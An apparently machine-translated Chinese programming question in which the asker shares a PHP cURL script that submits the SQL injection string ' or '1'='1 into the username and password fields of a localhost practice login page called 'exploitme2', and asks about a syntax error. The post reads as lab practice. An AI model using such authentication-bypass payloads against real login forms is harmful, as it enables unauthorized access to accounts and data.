我在尝试着:
- 使用权
$url
- 将两个索引的 (2) 值插入相应的输入字段(用户名、密码),然后提交。
- 最后从#2中的输入和提交中获取响应并输出响应。
我有以下代码:
<?php
# get url to form
$url = "http://localhost/exploitme2/index.php?page=login.php";
$ch = curl_init($url); # initialize that form
#run value of $_POST variable in form fields from above url.
$params = array("'' or '1'='1'", "'' or '1'='1'");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params); #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
## echo the result from cURL 'ing
echo $result;
curl_close($ch);
?>
我收到此错误:
syntax error, unexpected '=', expecting ')'
在这条线上:
$params = array($_POST['username']=>'' or '1'='1',
$_POST['password']=>'' or '1'='1');